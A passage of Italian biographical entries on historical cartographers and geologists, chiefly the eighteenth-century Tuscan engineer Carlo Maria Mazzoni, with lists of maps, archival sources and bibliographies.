Fonti d’archivio:

Bibliografia:
Santini, 1964, vol. 7; Bonelli Conenna, a cura di, 1997, p. 98; Boncompagni e Ulivieri, 2000, pp. 110 e 126; Nepi e Mazzei, a cura di, 2001, pp. 47, 59 e 62; Bramanti, 2001, passim; ASF, Segreteria di Finanze. Affari prima del 1788; ASF, Piante dei Capitani di Parte, Carte sciolte; ASLu, Catasto Mazzoni; ASP, Fiumi e Fossi; SUAP, RAT Petr Leopold; ASCP; BCGCP.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Mazzoni, Carlo Maria

Carlo Maria Mazzoni
N. Calcaferro 1720
M.

Relazioni di parentela: Carlo Maria Antonio di Giovanni di Carlo Mazzoni e di Innocenza di Giovanni di Nicola Bramanti nacque alle Mulina di Stazzema (oggi Provincia di Massa e Carrara), esattamente a Calcaferro, nel 1720 da una famiglia di origini piuttosto umili, che si era stabilita là intorno alla metà del XVII secolo, provenendo da Gombia nel Parmense, probabilmente per lavorare nelle vicine ferriere granducali. Il padre Giovanni (nato nel 1693) e il nonno Carlo (nato nel 1659) erano entrambi Stazzemesi, mentre il bisnonno Giovan Maria di Giovan Battista vi era immigrato intorno al 1630, sposando una donna del posto, certa Ippolita di Giovanni Gabbrielli. Carlo Maria fu battezzato nella Pieve di Stazzema il 20 aprile del 1720; non si conosce l’anno della morte (risalente probabilmente ai primissimi anni del XIX secolo) e le notizie sulla sua attività professionale arrivano fino al 1784. Ebbe due fratelli: Giovan Battista (minore di 2 anni) e Maria (minore di 5); e tre figli: Giovanni Nicola, anche lui ingegnere, Zoa e Aristodemo (Bramanti, 2001, pp. 92 e 98-102).
Le poche notizie biografiche che abbiamo sul Mazzoni derivano principalmente dai Commentari storici di Vincenzo Santini che lo definisce di livello assai superiore al contemporaneo e concittadino collega ingegnere Agostino Silicani (con il quale collaborò per una perizia sul fiume Seravezza nel 1769); ma soprattutto è stata utile l’attenta ricerca di Alessandro Bramanti, discendente del Mazzoni per linea materna.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Fin dal 1761-62 aveva il titolo di Accademico Fiorentino.
Non abbiamo notizie certe relative ad una sua permanenza all’estero, in Spagna o in Francia, e non sappiamo neanche se tale esperienza si riferisce a lui o al figlio Luigi; secondo il Bramanti, “la perizia dimostrata nelle prime carte conosciute non può che essere il frutto di una meditata e lunga preparazione presso validi insegnanti, magari all’estero” (2001, p. 100).
La prima testimonianza dell'attività del Mazzoni per conto dell'Uffizio dei Fiumi e Sciali è un progetto del 1761 per la regimazione e sistemazione del Fiume Vecchio, un canale che seguiva l’antico andamento del fiume Versilia attraversando la pianura Pietrasantina, per dirigersi poi verso Motrone (in ASCP, f. C.12, c. 1632).
Ebbe frequenti incarichi dal governo lorenese prima sotto Francesco Stefano e poi sotto il figlio Pietro Leopoldo.
Nel complesso, il Mazzoni può dirsi un personaggio che, pur ricoprendo importanti cariche e lavorando a progetti ufficiali, rimase un po' in ombra, anche se si può considerare a ragione uno dei migliori ingegneri e cartografi del pietrasantino. Notevoli erano infatti le sue capacità grafiche e la sua precisione nella tecnica cartografica, così come assai ricco è l'apparato documentario che accompagna spesso le rappresentazioni.
Tra il 1762 e il 1764 compilò la Pianta Corografica del Capitanato di Pietrasanta: si tratta di un esempio notevole di cartografia che, insieme all’altra analoga ‘totalizzante’ figura subregionale (del 1767, relativa alla Valtiberina e alla nuova carta dello stesso Capitanato di Pietrasanta del 1772), costituisce un esempio di qualità eccezionale nel panorama della cartografia coeva non riferibile al genio di Ferdinando Morozzi, per la qualità del prodotto (la carta si distingue anche per l'alto livello grafico-pittorico e ornamentale) e per la quantità dei contenuti non solo mineralogici, ma pure degli opifici e di tutte le emergenze paesistico-territoriali anche minime, come sedi umane, strade e corsi d’acqua con la relativa toponomastica.
Nonostante questo pregio, l’ingegnere dovette penare per ottenere dall’amministrazione granducale il rimborso delle spese sostenute – ben 400 scudi – per la costruzione della carta commissionatagli dalla Reggenza “in veduta di più progetti stati avanzati per l’apertura di nuove strade comunicative colla Lombardia, il prosciugamento delle campagne paludose, ecc., come anche di aprire uno sbocco e porto in mare”, tanto che nel 1766 viene definito da un onesto funzionario del compartimento delle finanze “ridotto in estrema miseria e pieno di debiti”. Solo allora il nuovo granduca, Pietro Leopoldo, ordinò di versargli “i 400 scudi per le sue fatiche, la pianta potendo sempre essere di qualche utile, e per ricompensarlo per il suo zelo” (ASF, Miscellanea di Finanze A, f. 116, c. 589) (Rombai, 1987, pp. 292-293).
Con motuproprio del 26 marzo 1766, l’ingegnere Mazzoni fu incaricato dal granduca Pietro Leopoldo di collaborare col barone Carlo Federigo d’Eder, primo ispettore delle miniere di Transilvania, che era stato inviato a “visitare e riconoscere le miniere del Granducato. Il successo maggiore della missione dell’ispettore fu quello della individuazione di un nuovo giacimento di rame nella montagna di Sasseto posta nella Contea di Montauto in Valtiberina, che Mazzoni cartografò nel 1767 con precisione in una grande rappresentazione della valle, la Pianta topografica della Val di Tevere in Toscana.
Lo stesso Mazzoni fu autore di altre figure tematiche inquadranti aree più esigue delle Alpi Apuane, come: la miniera di piombo e argento del Bottino, quella di cinabro di Levigliani, o del Monte di Solioni, quella di piombo e argento dello Zulfello e del canale dell’Angina presso Sant’Anna di Stazzema, e infine quella di piombo e zinco della Materrata e della Buca del Tedesco presso il Monte Corchia. Tutte queste cartografie si fanno apprezzare per la ricchezza dei contenuti topografici e per la chiarezza del disegno che denotano l’alto livello tecnico del Mazzoni.
Sempre in questo ambito, nei primi mesi del 1768 troviamo nuovamente il Mazzoni in Valtiberina, esattamente a Montauto, presso Anghiari, per verificare alcune operazioni minerarie intraprese un anno prima da alcuni minatori tedeschi diretti da Giovan Giorgio Lemon; in una sconsolata lettera indirizzata all’alto funzionario lorenese Schmidweiller, Carlo Maria chiedeva di poter rientrare a Pietrasanta, dal momento che ogni ricerca di siti minerari risultava inefficace (Bramanti, 2001, p. 101).
Diversi lavori di Carlo Maria sono riconducibili anche al settore idraulico e quindi alla sua attività presso l’Ufficio dei Fiumi e Fossi e presso la Magistratura di Acque e Strade di Pietrasanta: molte sono le carte prodotte dal Nostro relativamente al controllo e alla regimazione dei corsi fluviali, in particolare quelli del Capitanato di Pietrasanta. Fra queste ricordiamo: la Pianta del fiume Seravezza, del 1769, redatta in collaborazione con l'ingegnere Agostino Silicani.
Altro settore d'intervento fu quello della viabilità, soprattutto dal 1776, allorché passarono alle comunità (e quindi in questo caso all'Uffizio Fiumi e Sciali) le competenze in materia di costruzione e manutenzione delle strade.
Negli anni precedenti, dopo la parentesi “mineraria”, aveva partecipato ai lavori di rifacimento della strada della Marina che da Seravezza conduce al Forte dei Marmi (Bramanti, 2001, p. 101).
In data 23 marzo 1778 l'impegno del Mazzoni in questo settore è testimoniato da una relazione sui lavori di manutenzione da farsi alla Strada Regia che attraversava il Pietrasantino per due tratti; nel documento l'ingegnere – adempiendo a quanto stabilito dal Governo centrale in materia – analizzava la qualità e la quantità dei materiali occorrenti, il tempo necessario, le eventuali difficoltà e preventivava la spesa, dimostrando grande precisione e professionalità.
In generale, sappiamo che nel periodo compreso tra il 1776 e il 1783, collaborando anche con gli ingegneri Agostino Fortini e Francesco Pieraccini, diresse nuove operazioni alla strada di Marina, consistenti nell’inghiaiatura di ampi tratti, nella costruzione o ricostruzione di palizzate e di spallette, nel livellamento dei tratti più difficoltosi e nella realizzazione del nuovo ponte detto “della Barbiera”, con una spesa complessiva di oltre 11.000 lire (Bramanti, 2001, p. 101; si veda in ASF, Magona, f. 1478, c. 38).
A quanto sappiamo, l'ultimo lavoro del Mazzoni si inserisce proprio nel settore viario; si tratta infatti della compilazione del Campione delle Strade situate dentro il circondario di Pietrasanta e nei territori soggetti alla sua Comunità, disegnato nel 1783 (è conservato in ASCP). Lo stradario rappresenta, in 25 mappe, tutte le strade del Capitanato, nonché molti elementi significativi dei territori lambiti da esse (ovviamente ponti ma anche edifici soprattutto pubblici e religiosi, piazze, fonti, porte cittadine, e poi i principali riferimenti idrografici) e riporta (in una cornice interna al disegno) le descrizioni dei singoli tracciati; alcune pagine introduttive ci offrono poi un utile indice ed una descrizione generale del territorio. Alla carta 5 è raffigurata la Mappa della Città di Pietrasanta, con l'abitato dalla caratteristica forma di terranuova racchiusa entro il circuito murario (Boncompagni e Ulivieri, 2000, passim).
Non è datata ma porta la firma del Mazzoni (che si definisce "Ingegnere di S.A.R.") la Planimetria di Porto Pisano di Livorno, incisa (come si legge) in Via de' Cappuccini (in BNCF, Nuove Accessioni, VII, 15): si tratta di un interessantissimo esempio di tematismo geografico-storico, costruito mettendo a confronto rappresentazioni cartografiche del XV-XVI secolo per soddisfare curiosità erudite ed esigenze editoriali.
L’ultimo documento firmato dal Mazzoni che si conosce è la “pubblicazione” dello stradario, ossia il riconoscimento del valore pubblico, in data 8 agosto 1784 (Boncompagni e Ulivieri, 2000, p. 59)

Produzione di cartografia manoscritta:
Terra prativa e boschiva confinante con la fossa dell’Oncino, la via di Caranna e la “Via di S. Maria del Fiore”, 1753 (ASCP, Fondo cartografico, c. n. n.);
Pianta Corografica del Capitanato di Pietrasanta, 1762-1764 (ASF, Miscellanea di Piante, n. 192);
Pianta topografica ed altimetrica minerale della Montagna Acuti e de’ suoi monti aggiacenti nel Capitanato di Pietrasanta, 1766 (ASF, Miscellanea di Piante, n. 2/a, 2/b);
Pianta topografica ed altimetrica minerale della Montagna Gabbari e de’ suoi monti aggiacenti nel Capitanato di Pietrasanta, 1766 (ASF, Miscellanea di Piante, n. 86/a);
Pianta topografica ed altimetrica minerale della Montagna di Corchia per alcuni monti a quelli aggiacenti nel Capitanato di Pietrasanta e nel Comune di Terrinca situati, 1766 (ASF, Miscellanea di Piante, n. 86/b);
Pianta topografica ed altimetrica minerale della Montagna di Salioni per alcuni monti a quelli aggiacenti nel Capitanato di Pietrasanta in Comune di Livignani, 1766 (ASF, Miscellanea di Piante, n. 188);
Rappresentazione di alcuni filoni di marmo di Seravezza, 1767 (ASF, Scrittoio delle Fortezze e Fabbriche. Fabbriche Lorenesi, 1979, fasc. 16), cinque disegni non firmati ma facilmente attribuibili;
Pianta topografica della Val di Tevere in Toscana, 1767 (ASF, Miscellanea di Piante, n. 248);
Pianta del fiume Seravezza, 1769, insieme ad Agostino Silicani (ASCP, Fondo Cartografico. Acque e Strade, fasc. 3).
Mappa Topografica del Capitanato di Pietrasanta con l’indicazione dei Paesi, Ville e Comunità, dei Minerali e dei Marmi, 20 settembre 1766 (ASF, Piante dello Scrittorio delle Fortezze e Fabbriche, 366);
Planimetria di Porto Pisano di Livorno, s.d. (BNCF, Nuove Accessioni, VII, 15);
Campione delle Strade situate dentro il circondario di Pietrasanta, 1783 (ASCP, Stradario Mazzoni).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Santini, 1964, vol. 7, p. 384; Rombai, Toccafondi e Vivoli, 1987, pp. 59-60, 101-103, 150 e 176; Riparbelli, 1989, pp. 106-107; Azzari, 1990, passim; Vivoli, 1992, pp. 40-41; Rombai e Torchia, 1994, p. 148; Boncompagni e Ulivieri, 2000, passim; Bramanti, 2001, passim; Nepi, a cura di, 2003, pp. 33, 48 e 56-57; ASF, Magona; ASF, Miscellanea di Piante; ASF, Miscellanea di Finanze A; ASF, Piante dello Scrittorio delle Fortezze e Fabbriche; BNCF, Nuove Accessioni; ASCP, Fondo Cartografico. Acque e Strade.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Mazzini, Carlo Massimiliano

Carlo Massimiliano Mazzini
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Toscano, coordinatore e autore della celebre inchiesta agraria sulle critiche condizioni della classe contadina – promossa dal senatore Stefano Jacini e attuata per conto della Giunta Agraria di cui fu segretario dall’aprile 1877 al dicembre 1882 – negli anni ’80 del XIX secolo, vale a dire quelli della grande crisi, per larga parte della Toscana (con l'eccezione delle province di Massa Carrara e Grosseto): l’inchiesta fu pubblicata nel volume La Toscana agricola. Sulle condizioni dell'agricoltura e degli agricoltori nelle Province di Firenze, Arezzo, Siena, Lucca, Pisa e Livorno, Firenze, Telemaco Giani, 1884.
La provincia di Grosseto è invece considerata nel volume di Francesco Nobili Vitelleschi, Province di Roma e Grosseto. Italia: Giunta per la Inchiesta Agraria e sulle condizioni della classe agricola, Roma, 1884; e quella di Massa Carrara è inserita nell’opera di Agostino Bertani, Relazione del Commissario A. B. sulla Ottava Circoscrizioni (Province di Porto Maurizio, Genova e Massa Carrara), Atti della Giunta per la Inchiesta Agraria e sulle condizioni della classe agricola, Roma, 1883.
Grazie alla risonanza dell’inchiesta, Mazzini ottenne l’ambito riconoscimento di socio dall’Accademia dei Georgofili il 10 maggio 1885 e da allora poté pubblicare svariati scritti nella rivista accademica (“Atti dell’Accademia dei Georgofili”, s. IV) tra il 1887 e il 1901 d’impostazione economico-sociale. Precisamente: Di alcune indagini sulle condizioni fisiche-organiche della classe agricola in Toscana, vol. X (1887), pp. 53 ss.; L’imposta fondiaria e il reddito netto dell’agricoltura in Italia, vol. XIII (1890), pp. 125 ss.; La funzione economica e sociale dell’assicurazione sulla vita, vol. XX (1897), pp. 96 ss.; L’assicurazione e la legislazione sociale, vol. XXI (1898), pp. 265 ss. ; e Relazione della commissione giudicatrice del concorso per uno studio sulle relazioni che intercedono fra capitale e lavoro nella mezzeria toscana, vol. XXV (1901), pp. XV ss.
L’interesse dell’opera consiste anche nel fatto che Mazzini è autore di ben cinque carte tematiche della Toscana, tra le prime figure speciali in assoluto, litografate da A. Paris di Firenze-Roma in scala 1:600.000. Trattasi de:
la Carta orografica della Toscana, con segnalazione a punteggio e sfumo in nero delle cime dei monti con tanto di richiami numerici e alfabetici;
la Carta idrografica della Toscana, con la segnalazione con linee rosse dei perimetri dei bacini fluviali, contrassegnati con numerazione romana ed araba;
la Carta della viabilità della Toscana, con la presenza delle ferrovie (in nero) e con l’identificazione delle strade nazionali (in blu), provinciali (in rosso) e comunali (in bianco);
e la Carta geologica della Toscana, con indicazione a colori e tratteggio della natura dei terreni e del periodo della loro formazione (recenti, quaternari, terziari, secondari);
la Carta delle zone agrarie della Toscana a corredo della Relazione sulle condizioni dell'agricoltura e degli agricoltori nelle Province di Firenze, Arezzo, Siena, Lucca, Pisa e Livorno compilata per incarico della Giunta per la Inchiesta Agraria da C. M. Mazzini, 1880-1881. Questa carta distingue, con diversi cromatismi, in una Toscana incardinata (ma non completamente) sulla mezzadria con le sue migliaia di poderi e le sue centinaia di fattorie, le varie zone agrarie della pianura ("a gran coltura promiscua", "a piccola coltura senza irrigazione", "a piccola coltura irrigua", "a gran coltura estensiva"), delle colline ("a piccola coltura" e "a gran coltura estensiva"), dei monti, della zona transappenninica e finalmente della zona insulare (le ultime tre zone senza distinzioni interne)

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Barsanti, 1992, pp. 81-82; Di Pietro, 2005, pp. 183-184.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci e Leonardo Rombai

Mattirolo, Ettore

Ettore Mattirolo
N. Torino 30 settembre 1853
M. Torino 17 agosto 1923

Relazioni di parentela: Figlio dell’avvocato Gerolamo Mattirolo e di Giuseppina Colli

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Petrografo e geologo svolse molte ricerche anche nel campo della geologia applicata. A Roma, per le sue conoscenze della geologia piemontese fu coordinatore della squadra dei geologi rilevatori delle Alpi Occidentali.
I suoi rilevamenti in alta Valle di Susa, Valli di Lanzo, Gran Paradiso, Valle d’Aosta, insieme a quelli di Franchi, Novarese e Stella rappresentarono un contributo importante alla preparazione della carta di sintesi pubblicata nel 1908 dal R. Ufficio Geologico.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
E. Mattirolo, V. Novarese. 1904. Carta geo-litologica delle Valli di Lanzo secondo i rilevamenti del R. Ufficio Geologico. scala 1: 100.000 in Schiarimento sulla Carta Geologica delle Valli di Lanzo: 521-539, in Le Valli di Lanzo (Alpi Graie): 1-547. Club Alpino Italiano. Sezione di Torino.
S. Franchi, E. Mattirolo, V. Novarese, A. Stella. 1908. Carta Geologica delle Alpi Occidentali. scala 1: 400.000. R. Ufficio Geologico. Roma.

Fonti d’archivio:

Bibliografia:
C.F. PARONA, Ettore Mattirolo, in “Boll. R. Uff. Geol. It.”, 50 (1925), pp. 1-7.
N. PELLATI, Contribuzione alla storia della Cartografia Geologica in Italia, in Atti del Congresso Internazionale di Scienze Storiche (Roma, 1903), vol. X (Sezione Storia della Geografia, Geografia Storica), Roma, Tip. della R. Accademia dei Lincei, 1904, pp. 131-163

Rimandi ad altre schede: S. Franchi, V. Novarese

Autore della scheda: Franca Campanino

Mattei, Michele

Michele Mattei
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Per il Catasto Alessandrino del 1660 eseguì la mappa 429/14 Pratolongo,insieme a Innocenzo Mattei

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Susanna Passigli

Mattei, Innocenzo

Innocenzo Mattei
N. 1629
M. 1679

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Innocenzo Mattei era monaco camaldolese, nato nel 1626 e morto nel 1679.

Produzione scientifica:
Per il Catasto Alessandrino del 1660 eseguì le mappe 428/30 Testa di Lepre di sopra e di sotto per i Pamphili; 429/14 Pratolongo, insieme a Michele Mattei (fratello?, padre?); 430/3 Torre San Giovanni; 433/30 Scurano anch’essa per la famiglia Pamphili.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
P. A. Frutaz, Le carte del Lazio, vol. I, pp. 32-33 (autore di una derivazione da Volpaia) e p. 66 (notizie dell’autore della tav. 30).

Rimandi ad altre schede:

Autore della scheda: Susanna Passigli